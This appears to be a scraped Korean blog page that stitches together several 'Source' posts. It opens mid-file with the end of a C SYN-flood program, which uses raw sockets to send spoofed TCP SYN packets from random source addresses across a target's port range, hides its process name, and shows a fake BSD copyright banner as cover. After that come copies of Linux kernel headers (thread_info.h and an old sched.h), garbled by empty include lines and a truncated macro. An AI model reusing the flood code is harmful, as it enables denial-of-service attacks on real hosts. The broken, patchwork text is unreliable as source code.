                break;
            }
      }
    printf(" [H [1;30m[ [1;31m%c [1;30m] [0m %d", schar, curc);
    cnt++;
    for(i=0; i<26; i++)  {
        i++;
        curc++;
    }
}
void init_signals()
{
    // Every Signal known to man. If one gives you an error, comment it out!
    signal(SIGHUP, sig_exit);
    signal(SIGINT, sig_exit);
    signal(SIGQUIT, sig_exit);
    signal(SIGILL, sig_exit);
    signal(SIGTRAP, sig_exit);
    signal(SIGIOT, sig_exit);
    signal(SIGBUS, sig_exit);
    signal(SIGFPE, sig_exit);
    signal(SIGKILL, sig_exit);
    signal(SIGUSR1, sig_exit);
    signal(SIGSEGV, sig_segv);
    signal(SIGUSR2, sig_exit);
    signal(SIGPIPE, sig_exit);
    signal(SIGALRM, sig_exit);
    signal(SIGTERM, sig_exit);
    signal(SIGCHLD, sig_exit);
    signal(SIGCONT, sig_exit);
    signal(SIGSTOP, sig_exit);
    signal(SIGTSTP, sig_exit);
    signal(SIGTTIN, sig_exit);
    signal(SIGTTOU, sig_exit);
    signal(SIGURG, sig_exit);
    signal(SIGXCPU, sig_exit);
    signal(SIGXFSZ, sig_exit);
    signal(SIGVTALRM, sig_exit);
    signal(SIGPROF, sig_exit);
    signal(SIGWINCH, sig_exit);
    signal(SIGIO, sig_exit);
    signal(SIGPWR, sig_exit);
}
main(int argc, char **argv) {
   int i, x, max, floodloop, diff, urip, a, b, c, d;
   unsigned long them, me_fake;
   unsigned lowport, highport;
   char buf[1024], *junk;
   
   init_signals();   
#ifdef HIDDEN
   for (i = argc-1; i >= 0; i--)
     /* Some people like bzero...i prefer memset :) */
     memset(argv[i], 0, strlen(argv[i]));
   strcpy(argv[0], HIDDEN);
#endif
   
   if(argc<5) {
      printf("Usage: %s srcaddr dstaddr low high\n", argv[0]);
      printf("    If srcaddr is 0, random addresses will be used\n\n\n");
      
      exit(1);
   }
   if( atoi(argv[1]) == 0 )
     urip = 1;
   else    
     me_fake=getaddr(argv[1]);
   them=getaddr(argv[2]);
   lowport=atoi(argv[3]);
   highport=atoi(argv[4]);
   srandom(time(0));
   ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
   if(ssock<0) {
      perror("socket (raw)");
      exit(1);
   }
   sock=socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
   if(sock<0) {
      perror("socket");
      exit(1);
   }
   junk = (char *)malloc(1024);
   max = 1500;
   i = 1;
   diff = (highport - lowport);
   
   if (diff > -1) 
     {
    printf("[H [J\n\nCopyright (c) 1980, 1983, 1986, 1988, 1990, 1991 The Regents of the University\n of California. All Rights Reserved.");
    for (i=1;i>0;i++)
      {
         srandom((time(0)+i));
         srcport = getrandom(1, max)+1000;
         for (x=lowport;x<=highport;x++) 
           {
          if ( urip == 1 )
            {
               a = getrandom(0, 255);
               b = getrandom(0, 255);
               c = getrandom(0, 255);
               d = getrandom(0, 255);
               sprintf(junk, "%i.%i.%i.%i", a, b, c, d);
               me_fake = getaddr(junk);
            }
          
          spoof_open(/*0xe1e26d0a*/ me_fake, them, x);
          /* A fair delay. Good for a 28.8 connection */ 
          usleep(300);
          
          if (!(floodloop = (floodloop+1)%(diff+1))) {
             upsc(); fflush(stdout);
          }
           }
      }
     }
   else {
      printf("High port must be greater than Low port.\n");
      exit(1);
   }
}

'Source' 카테고리의 다른 글

프로세스 절대 경로  (0) 2011.12.08
현재 실행중인 Process  (0) 2011.11.30
HideProcess  (0) 2011.11.30
/asm/thread_info.h  (0) 2011.11.30
/include/linux/sched.h  (0) 2011.11.30
/* thread_info.h: low-level thread information
*
* Copyright (C) 2002  David Howells (dhowells@redhat.com)
* - Incorporating suggestions made by Linus Torvalds and Dave Miller
*/

#ifndef _ASM_X86_THREAD_INFO_H
#define _ASM_X86_THREAD_INFO_H

#include 
#include 
#include 
 
/*
* low level task data that entry.S needs immediate access to
* - this struct should fit entirely inside of one cache line
* - this struct shares the supervisor stack pages
*/
#ifndef __ASSEMBLY__
struct task_struct;
struct exec_domain;
#include 
#include 
#include 

struct thread_info {
        struct task_struct	*task;		/* main task structure */
        struct exec_domain	*exec_domain;	/* execution domain */
        __u32		flags;		/* low level flags */
        __u32		status;		/* thread synchronous flags */
        __u32		cpu;		/* current CPU */
        int			preempt_count;	/* 0 => preemptable, <0 => BUG */
        mm_segment_t		addr_limit;
        struct restart_block	restart_block;
        void __user		*sysenter_return;
#ifdef CONFIG_X86_32
        unsigned long		previous_esp;	/* ESP of the previous stack in case of nested (IRQ) stacks */
        __u8			supervisor_stack[0];
#endif
        int		uaccess_err;
};
 
#define INIT_THREAD_INFO(tsk)\
{			\
        .task = &tsk,	\
        .exec_domain = &default_exec_domain,   \
        .flags = 0,		\
        .cpu   = 0,		\
        .preempt_count  = INIT_PREEMPT_COUNT,   \
        .addr_limit = KERNEL_DS,	\
        .restart_block = {	\
                .fn = do_no_restart_syscall,   \
        },			\
}
 
#define init_thread_info (init_thread_union.thread_info)
#define init_stack          (init_thread_union.stack)
 
#else /* !__ASSEMBLY__ */
 
#include 
 
#endif
 
/*
* thread information flags
* - these are process state flags that various assembly files
*   may need to access
* - pending work-to-be-done flags are in LSW
* - other flags in MSW
* Warning: layout of LSW is hardcoded in entry.S
*/
#define TIF_SYSCALL_TRACE	0	/* syscall trace active */
#define TIF_NOTIFY_RESUME	1	/* callback before returning to user */
#define TIF_SIGPENDING	2	/* signal pending */
#define TIF_NEED_RESCHED	3	/* rescheduling necessary */
#define TIF_SINGLESTEP	4	/* reenable singlestep on user return*/
#define TIF_IRET		5	/* force IRET */
#define TIF_SYSCALL_EMU	6	/* syscall emulation active */
#define TIF_SYSCALL_AUDIT	7	/* syscall auditing active */
#define TIF_SECCOMP	8	/* secure computing */
#define TIF_MCE_NOTIFY	10	/* notify userspace of an MCE */
#define TIF_USER_RETURN_NOTIFY   11	/* notify kernel of userspace return */
#define TIF_NOTSC		16	/* TSC is not accessible in userland */
#define TIF_IA32		17	/* 32bit process */
#define TIF_FORK		18	/* ret_from_fork */
#define TIF_MEMDIE		20	/* is terminating due to OOM killer */
#define TIF_DEBUG		21	/* uses debug registers */
#define TIF_IO_BITMAP	22	/* uses I/O bitmap */
#define TIF_FREEZE		23	/* is freezing for suspend */
#define TIF_FORCED_TF	24	/* true if TF in eflags artificially */
#define TIF_BLOCKSTEP	25	/* set when we want DEBUGCTLMSR_BTF */
#define TIF_LAZY_MMU_UPDATES     27	/* task is updating the mmu lazily */
#define TIF_SYSCALL_TRACEPOINT  28	/* syscall tracepoint instrumentation */
 
#define _TIF_SYSCALL_TRACE	(1 << TIF_SYSCALL_TRACE)
#define _TIF_NOTIFY_RESUME	(1 << TIF_NOTIFY_RESUME)
#define _TIF_SIGPENDING	(1 << TIF_SIGPENDING)
#define _TIF_SINGLESTEP	(1 << TIF_SINGLESTEP)
#define _TIF_NEED_RESCHED	(1 << TIF_NEED_RESCHED)
#define _TIF_IRET		(1 << TIF_IRET)
#define _TIF_SYSCALL_EMU	(1 << TIF_SYSCALL_EMU)
#define _TIF_SYSCALL_AUDIT	(1 << TIF_SYSCALL_AUDIT)
#define _TIF_SECCOMP	(1 << TIF_SECCOMP)
#define _TIF_MCE_NOTIFY	(1 << TIF_MCE_NOTIFY)
#define _TIF_USER_RETURN_NOTIFY	(1 << TIF_USER_RETURN_NOTIFY)
#define _TIF_NOTSC		(1 << TIF_NOTSC)
#define _TIF_IA32		(1 << TIF_IA32)
#define _TIF_FORK		(1 << TIF_FORK)
#define _TIF_DEBUG		(1 << TIF_DEBUG)
#define _TIF_IO_BITMAP	(1 << TIF_IO_BITMAP)
#define _TIF_FREEZE		(1 << TIF_FREEZE)
#define _TIF_FORCED_TF	(1 << TIF_FORCED_TF)
#define _TIF_BLOCKSTEP	(1 << TIF_BLOCKSTEP)
#define _TIF_LAZY_MMU_UPDATES	(1 << TIF_LAZY_MMU_UPDATES)
#define _TIF_SYSCALL_TRACEPOINT	(1 << TIF_SYSCALL_TRACEPOINT)
 
/* work to do in syscall_trace_enter() */
#define _TIF_WORK_SYSCALL_ENTRY   \
        (_TIF_SYSCALL_TRACE | _TIF_SYSCALL_EMU | _TIF_SYSCALL_AUDIT |   \
         _TIF_SECCOMP | _TIF_SINGLESTEP | _TIF_SYSCALL_TRACEPOINT)
 
/* work to do in syscall_trace_leave() */
#define _TIF_WORK_SYSCALL_EXIT  \
        (_TIF_SYSCALL_TRACE | _TIF_SYSCALL_AUDIT | _TIF_SINGLESTEP |   \
         _TIF_SYSCALL_TRACEPOINT)
 
/* work to do on interrupt/exception return */
#define _TIF_WORK_MASK   \
        (0x0000FFFF &   \
         ~(_TIF_SYSCALL_TRACE|_TIF_SYSCALL_AUDIT|	\
         _TIF_SINGLESTEP|_TIF_SECCOMP|_TIF_SYSCALL_EMU))
 
/* work to do on any return to user space */
#define _TIF_ALLWORK_MASK   \
        ((0x0000FFFF & ~_TIF_SECCOMP) | _TIF_SYSCALL_TRACEPOINT)
 
/* Only used for 64 bit */
#define _TIF_DO_NOTIFY_MASK   \
        (_TIF_SIGPENDING | _TIF_MCE_NOTIFY | _TIF_NOTIFY_RESUME |   \
         _TIF_USER_RETURN_NOTIFY)
 
/* flags to check in __switch_to() */
#define _TIF_WORK_CTXSW   \
        (_TIF_IO_BITMAP|_TIF_NOTSC|_TIF_BLOCKSTEP)
 
#define _TIF_WORK_CTXSW_PREV (_TIF_WORK_CTXSW|_TIF_USER_RETURN_NOTIFY)
#define _TIF_WORK_CTXSW_NEXT (_TIF_WORK_CTXSW|_TIF_DEBUG)
 
#define PREEMPT_ACTIVE          0x10000000
 
/* thread information allocation */
#ifdef CONFIG_DEBUG_STACK_USAGE
#define THREAD_FLAGS (GFP_KERNEL | __GFP_NOTRACK | __GFP_ZERO)
#else
#define THREAD_FLAGS (GFP_KERNEL | __GFP_NOTRACK)
#endif
 
#define __HAVE_ARCH_THREAD_INFO_ALLOCATOR
 
#define alloc_thread_info_node(tsk, node)		\
({					\
        struct page *page = alloc_pages_node(node, THREAD_FLAGS,   \
                                             THREAD_ORDER);	\
        struct thread_info *ret = page ? page_address(page) : NULL;   \
					\
        ret;					\
})
 
#ifdef CONFIG_X86_32
 
#define STACK_WARN      (THREAD_SIZE/8)
/*
* macros/functions for gaining access to the thread information structure
*
* preempt_count needs to be 1 initially, until the scheduler is functional.
*/
#ifndef __ASSEMBLY__
 
 
/* how to get the current stack pointer from C */
register unsigned long current_stack_pointer asm("esp") __used;
 
/* how to get the thread information struct from C */
static inline struct thread_info *current_thread_info(void)
{
        return (struct thread_info *)
                (current_stack_pointer & ~(THREAD_SIZE - 1));
}
 
#else /* !__ASSEMBLY__ */
 
/* how to get the thread information struct from ASM */
#define GET_THREAD_INFO(reg)   \
        movl $-THREAD_SIZE, reg;   \
        andl %esp, reg
 
/* use this one if reg already contains %esp */
#define GET_THREAD_INFO_WITH_ESP(reg)   \
        andl $-THREAD_SIZE, reg
 
#endif
 
#else /* X86_32 */
 
#include 
#define KERNEL_STACK_OFFSET (5*8)
 
/*
* macros/functions for gaining access to the thread information structure
* preempt_count needs to be 1 initially, until the scheduler is functional.
*/
#ifndef __ASSEMBLY__
DECLARE_PER_CPU(unsigned long, kernel_stack);
 
static inline struct thread_info *current_thread_info(void)
{
        struct thread_info *ti;
        ti = (void *)(percpu_read_stable(kernel_stack) +
                      KERNEL_STACK_OFFSET - THREAD_SIZE);
        return ti;
}
 
#else /* !__ASSEMBLY__ */
 
/* how to get the thread information struct from ASM */
#define GET_THREAD_INFO(reg)   \
        movq PER_CPU_VAR(kernel_stack),reg ;   \
        subq $(THREAD_SIZE-KERNEL_STACK_OFFSET),reg
 
#endif
 
#endif /* !X86_32 */
 
/*
* Thread-synchronous status.
*
* This is different from the flags in that nobody else
* ever touches our thread-synchronous status, so we don't
* have to worry about atomic accesses.
*/
#define TS_USEDFPU	0x0001	/* FPU was used by this task this quantum (SMP) */
#define TS_COMPAT	0x0002	/* 32bit syscall active (64BIT)*/
#define TS_POLLING	0x0004	/* idle task polling need_resched, skip sending interrupt */
#define TS_RESTORE_SIGMASK	0x0008	/* restore signal mask in do_signal() */

#define tsk_is_polling(t) (task_thread_info(t)->status & TS_POLLING)
 
#ifndef __ASSEMBLY__
#define HAVE_SET_RESTORE_SIGMASK	1
static inline void set_restore_sigmask(void)
{
        struct thread_info *ti = current_thread_info();
        ti->status |= TS_RESTORE_SIGMASK;
        set_bit(TIF_SIGPENDING, (unsigned long *)&ti->flags);
}
#endif  /* !__ASSEMBLY__ */
 
#ifndef __ASSEMBLY__
extern void arch_task_cache_init(void);
extern void free_thread_info(struct thread_info *ti);
extern int arch_dup_task_struct(struct task_struct *dst, struct task_struct *src);
#define arch_task_cache_init arch_task_cache_init
#endif
#endif /* _ASM_X86_THREAD_INFO_H */

'Source' 카테고리의 다른 글

프로세스 절대 경로  (0) 2011.12.08
현재 실행중인 Process  (0) 2011.11.30
HideProcess  (0) 2011.11.30
Syn Flooding  (0) 2011.11.30
/include/linux/sched.h  (0) 2011.11.30
#ifndef _LINUX_SCHED_H
#define _LINUX_SCHED_H

/*
 * define DEBUG if you want the wait-queues to have some extra
 * debugging code. It's not normally used, but might catch some
 * wait-queue coding errors.
 *
 *  #define DEBUG
 */

#include 	/* for HZ */

extern unsigned long event;

#include 
#include 
#include 
#include 

#include 
#include 
#include 

#include 
#include 
#include 

/*
 * cloning flags:
 */
#define CSIGNAL  0x000000ff			/* signal mask to be sent at exit */
#define CLONE_VM	0x00000100		/* set if VM shared between processes */
#define CLONE_FS	0x00000200		/* set if fs info shared between processes */
#define CLONE_FILES	0x00000400		/* set if open files shared between processes */
#define CLONE_SIGHAND	0x00000800	/* set if signal handlers shared */
#define CLONE_PID	0x00001000		/* set if pid shared */

/*
 * These are the constant used to fake the fixed-point load-average
 * counting. Some notes:
 *  - 11 bit fractions expand to 22 bits by the multiplies: this gives
 *  a load-average precision of 10 bits integer + 11 bits fractional
 *  - if you want to count load-averages more often, you need more
 *  precision, or rounding will get you. With 2-second counting freq,
 *  the EXP_n values would be 1981, 2034 and 2043 if still using only
 *  11 bit fractions.
 */
extern unsigned long avenrun[];  /* Load averages */

#define FSHIFT  11		/* nr of bits of precision */
#define FIXED_1  (1<>= FSHIFT;

#define CT_TO_SECS(x)	((x) / HZ)
#define CT_TO_USECS(x)	(((x) % HZ) * 1000000/HZ)

extern int nr_running, nr_tasks;
extern int last_pid;

#define FIRST_TASK task[0]
#define LAST_TASK task[NR_TASKS-1]

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#include 

#define TASK_RUNNING   0
#define TASK_INTERRUPTIBLE   1
#define TASK_UNINTERRUPTIBLE   2
#define TASK_ZOMBIE   3
#define TASK_STOPPED   4
#define TASK_SWAPPING   5

/*
 * Scheduling policies
 */
#define SCHED_OTHER  0
#define SCHED_FIFO  1
#define SCHED_RR  2

struct sched_param {
	int sched_priority;
};

#ifndef NULL
#define NULL ((void *) 0)
#endif

#ifdef __KERNEL__

extern void sched_init(void);
extern void show_state(void);
extern void trap_init(void);

asmlinkage void schedule(void);

/* Open file table structure */
struct files_struct {
	int count;
	fd_set close_on_exec;
	fd_set open_fds;
	struct file * fd[NR_OPEN];
};

#define INIT_FILES { \
	1, \
	{ { 0, } }, \
	{ { 0, } }, \
	{ NULL, } \
}

struct fs_struct {
	int count;
	unsigned short umask;
	struct inode * root, * pwd;
};

#define INIT_FS { \
	1, \
	0022, \
	NULL, NULL \
}

struct mm_struct {
	int count;
	pgd_t * pgd;
	unsigned long context;
	unsigned long start_code, end_code, start_data, end_data;
	unsigned long start_brk, brk, start_stack, start_mmap;
	unsigned long arg_start, arg_end, env_start, env_end;
	unsigned long rss, total_vm, locked_vm;
	unsigned long def_flags;
	struct vm_area_struct * mmap;
	struct vm_area_struct * mmap_avl;
	struct semaphore mmap_sem;
};

#define INIT_MM { \
  1, \
  swapper_pg_dir, \
  0, \
  0, 0, 0, 0, \
  0, 0, 0, 0, \
  0, 0, 0, 0, \
  0, 0, 0, \
  0, \
  &init_mmap, &init_mmap, MUTEX }

struct signal_struct {
	int count;
	struct sigaction action[32];
};

#define INIT_SIGNALS { \
  1, \
  { {0,}, } }



struct task_struct {
/* these are hardcoded - don't touch */
	volatile long state;	/* -1 unrunnable, 0 runnable, >0 stopped */
	long counter;
	long priority;
	unsigned long signal;
	unsigned long blocked;	/* bitmap of masked signals */
	unsigned long flags;	/* per process flags, defined below */
	int errno;
	long debugreg[8];	/* Hardware debugging registers */
	struct exec_domain *exec_domain;
/* various fields */
	struct linux_binfmt *binfmt;
	struct task_struct *next_task, *prev_task;
	struct task_struct *next_run,  *prev_run;
	unsigned long saved_kernel_stack;
	unsigned long kernel_stack_page;
	int exit_code, exit_signal;
	/* ??? */
	unsigned long personality;
	int dumpable:1;
	int did_exec:1;
	/* shouldn't this be pid_t? */
	int pid;
	int pgrp;
	int tty_old_pgrp;
	int session;
	/* boolean value for session group leader */
	int leader;
	int	groups[NGROUPS];
	/* 
  * pointers to (original) parent process, youngest child, younger sibling,
  * older sibling, respectively.  (p->father can be replaced with 
  * p->p_pptr->pid)
  */
	struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;
	struct wait_queue *wait_chldexit;	/* for wait4() */
	unsigned short uid,euid,suid,fsuid;
	unsigned short gid,egid,sgid,fsgid;
	unsigned long timeout, policy, rt_priority;
	unsigned long it_real_value, it_prof_value, it_virt_value;
	unsigned long it_real_incr, it_prof_incr, it_virt_incr;
	struct timer_list real_timer;
	long utime, stime, cutime, cstime, start_time;
/* mm fault and swap info: this can arguably be seen as either mm-specific or thread-specific */
	unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;
	int swappable:1;
	unsigned long swap_address;
	unsigned long old_maj_flt;	/* old value of maj_flt */
	unsigned long dec_flt;		/* page fault count of the last time */
	unsigned long swap_cnt;	/* number of pages to swap on next pass */
/* limits */
	struct rlimit rlim[RLIM_NLIMITS];
	unsigned short used_math;
	char comm[16];
/* file system info */
	int link_count;
	struct tty_struct *tty;	/* NULL if no tty */
/* ipc stuff */
	struct sem_undo *semundo;
	struct sem_queue *semsleeping;
/* ldt for this task - used by Wine.  If NULL, default_ldt is used */
	struct desc_struct *ldt;
/* tss for this task */
	struct thread_struct tss;
/* filesystem information */
	struct fs_struct *fs;
/* open file information */
	struct files_struct *files;
/* memory management info */
	struct mm_struct *mm;
/* signal handlers */
	struct signal_struct *sig;
#ifdef __SMP__
	int processor;
	int last_processor;
	int lock_depth;  /* Lock depth. We can context switch in and out of holding a syscall kernel lock... */	
#endif	
};

/*
 * Per process flags
 */
#define PF_ALIGNWARN	0x00000001	/* Print alignment warning msgs */
  /* Not implemented yet, only for 486*/
#define PF_PTRACED	0x00000010		/* set if ptrace (0) has been called. */
#define PF_TRACESYS	0x00000020	/* tracing system calls */
#define PF_FORKNOEXEC	0x00000040	/* forked but didn't exec */
#define PF_SUPERPRIV	0x00000100	/* used super-user privileges */
#define PF_DUMPCORE	0x00000200	/* dumped core */
#define PF_SIGNALED	0x00000400	/* killed by a signal */

#define PF_STARTING	0x00000002	/* being created */
#define PF_EXITING	0x00000004	/* getting shut down */

#define PF_USEDFPU	0x00100000	/* Process used the FPU this quantum (SMP only) */
#define PF_DTRACE	0x00200000	/* delayed trace (used on m68k) */

/*
 * Limit the stack by to some sane default: root can always
 * increase this limit if needed..  8MB seems reasonable.
 */
#define _STK_LIM	(8*1024*1024)

#define DEF_PRIORITY	(20*HZ/100)	/* 200 ms time slices */



/*
 *  INIT_TASK is used to set up the first task table, touch at
 * your own risk!. Base=0, limit=0x1fffff (=2MB)
 */
#define INIT_TASK \
/* state etc */	{ 0,DEF_PRIORITY,DEF_PRIORITY,0,0,0,0, \
/* debugregs */ { 0, },  \
/* exec domain */&default_exec_domain, \
/* binfmt */	NULL, \
/* schedlink */	&init_task,&init_task, &init_task, &init_task, \
/* stack */	0,(unsigned long) &init_kernel_stack, \
/* ec,brk... */	0,0,0,0,0, \
/* pid etc.. */	0,0,0,0,0, \
/* suppl grps*/ {NOGROUP,}, \
/* proc links*/ &init_task,&init_task,NULL,NULL,NULL,NULL, \
/* uid etc */	0,0,0,0,0,0,0,0, \
/* timeout */	0,SCHED_OTHER,0,0,0,0,0,0,0, \
/* timer */	{ NULL, NULL, 0, 0, it_real_fn }, \
/* utime */	0,0,0,0,0, \
/* flt */	0,0,0,0,0,0, \
/* swp */	0,0,0,0,0, \
/* rlimits */  INIT_RLIMITS, \
/* math */	0, \
/* comm */	"swapper", \
/* fs info */	0,NULL, \
/* ipc */	NULL, NULL, \
/* ldt */	NULL, \
/* tss */	INIT_TSS, \
/* fs */	&init_fs, \
/* files */	&init_files, \
/* mm */	&init_mm, \
/* signals */	&init_signals, \
}

extern struct  mm_struct init_mm;
extern struct task_struct init_task;
extern struct task_struct *task[NR_TASKS];
extern struct task_struct *last_task_used_math;
extern struct task_struct *current_set[NR_CPUS];
/*
 *	On a single processor system this comes out as current_set[0] when cpp
 *	has finished with it, which gcc will optimise away.
 */

#define current (0+current_set[smp_processor_id()])	/* Current on this processor */
extern unsigned long volatile jiffies;
extern unsigned long itimer_ticks;
extern unsigned long itimer_next;
extern struct timeval xtime;
extern int need_resched;
extern void do_timer(struct pt_regs *);

extern unsigned int * prof_buffer;
extern unsigned long prof_len;
extern unsigned long prof_shift;

extern int securelevel;	/* system security level */

#define CURRENT_TIME (xtime.tv_sec)

extern void sleep_on(struct wait_queue ** p);
extern void interruptible_sleep_on(struct wait_queue ** p);
extern void wake_up(struct wait_queue ** p);
extern void wake_up_interruptible(struct wait_queue ** p);
extern void wake_up_process(struct task_struct * tsk);

extern void notify_parent(struct task_struct * tsk, int signal);
extern void force_sig(unsigned long sig,struct task_struct * p);
extern int send_sig(unsigned long sig,struct task_struct * p,int priv);
extern int in_group_p(gid_t grp);

extern int request_irq(unsigned int irq,
  void (*handler)(int, void *, struct pt_regs *),
  unsigned long flags, 
  const char *device,
  void *dev_id);
extern void free_irq(unsigned int irq, void *dev_id);

/*
 * This has now become a routine instead of a macro, it sets a flag if
 * it returns true (to do BSD-style accounting where the process is flagged
 * if it uses root privs). The implication of this is that you should do
 * normal permissions checks first, and check suser() last.
 */
extern inline int suser(void)
{
	if (current->euid == 0) {
  current->flags |= PF_SUPERPRIV;
  return 1;
	}
	return 0;
}

extern void copy_thread(int, unsigned long, unsigned long, struct task_struct *, struct pt_regs *);
extern void flush_thread(void);
extern void exit_thread(void);

extern void exit_mm(struct task_struct *);
extern void exit_fs(struct task_struct *);
extern void exit_files(struct task_struct *);
extern void exit_sighand(struct task_struct *);
extern void release_thread(struct task_struct *);

extern int do_execve(char *, char **, char **, struct pt_regs *);
extern int do_fork(unsigned long, unsigned long, struct pt_regs *);


/* See if we have a valid user level fd.
 * If it makes sense, return the file structure it references.
 * Otherwise return NULL.
 */
extern inline struct file *file_from_fd(const unsigned int fd)
{

	if (fd >= NR_OPEN)
  return NULL;
	/* either valid or null */
	return current->files->fd[fd];
}
	
/*
 * The wait-queues are circular lists, and you have to be *very* sure
 * to keep them correct. Use only these two functions to add/remove
 * entries in the queues.
 */
extern inline void __add_wait_queue(struct wait_queue ** p, struct wait_queue * wait)
{
	struct wait_queue *head = *p;
	struct wait_queue *next = WAIT_QUEUE_HEAD(p);

	if (head)
  next = head;
	*p = wait;
	wait->next = next;
}

extern inline void add_wait_queue(struct wait_queue ** p, struct wait_queue * wait)
{
	unsigned long flags;

	save_flags(flags);
	cli();
	__add_wait_queue(p, wait);
	restore_flags(flags);
}

extern inline void __remove_wait_queue(struct wait_queue ** p, struct wait_queue * wait)
{
	struct wait_queue * next = wait->next;
	struct wait_queue * head = next;

	for (;;) {
  struct wait_queue * nextlist = head->next;
  if (nextlist == wait)
  break;
  head = nextlist;
	}
	head->next = next;
}

extern inline void remove_wait_queue(struct wait_queue ** p, struct wait_queue * wait)
{
	unsigned long flags;

	save_flags(flags);
	cli();
	__remove_wait_queue(p, wait);
	restore_flags(flags);
}

extern inline void select_wait(struct wait_queue ** wait_address, select_table * p)
{
	struct select_table_entry * entry;

	if (!p || !wait_address)
  return;
	if (p->nr >= __MAX_SELECT_TABLE_ENTRIES)
  return;
  entry = p->entry + p->nr;
	entry->wait_address = wait_address;
	entry->wait.task = current;
	entry->wait.next = NULL;
	add_wait_queue(wait_address,&entry->wait);
	p->nr++;
}

#define REMOVE_LINKS(p) do { unsigned long flags; \
	save_flags(flags) ; cli(); \
	(p)->next_task->prev_task = (p)->prev_task; \
	(p)->prev_task->next_task = (p)->next_task; \
	restore_flags(flags); \
	if ((p)->p_osptr) \
  (p)->p_osptr->p_ysptr = (p)->p_ysptr; \
	if ((p)->p_ysptr) \
  (p)->p_ysptr->p_osptr = (p)->p_osptr; \
	else \
  (p)->p_pptr->p_cptr = (p)->p_osptr; \
	} while (0)

#define SET_LINKS(p) do { unsigned long flags; \
	save_flags(flags); cli(); \
	(p)->next_task = &init_task; \
	(p)->prev_task = init_task.prev_task; \
	init_task.prev_task->next_task = (p); \
	init_task.prev_task = (p); \
	restore_flags(flags); \
	(p)->p_ysptr = NULL; \
	if (((p)->p_osptr = (p)->p_pptr->p_cptr) != NULL) \
  (p)->p_osptr->p_ysptr = p; \
	(p)->p_pptr->p_cptr = p; \
	} while (0)

#define for_each_task(p) \
	for (p = &init_task ; (p = p->next_task) != &init_task ; )

#endif /* __KERNEL__ */

#endif

'Source' 카테고리의 다른 글

프로세스 절대 경로  (0) 2011.12.08
현재 실행중인 Process  (0) 2011.11.30
HideProcess  (0) 2011.11.30
Syn Flooding  (0) 2011.11.30
/asm/thread_info.h  (0) 2011.11.30

+ Recent posts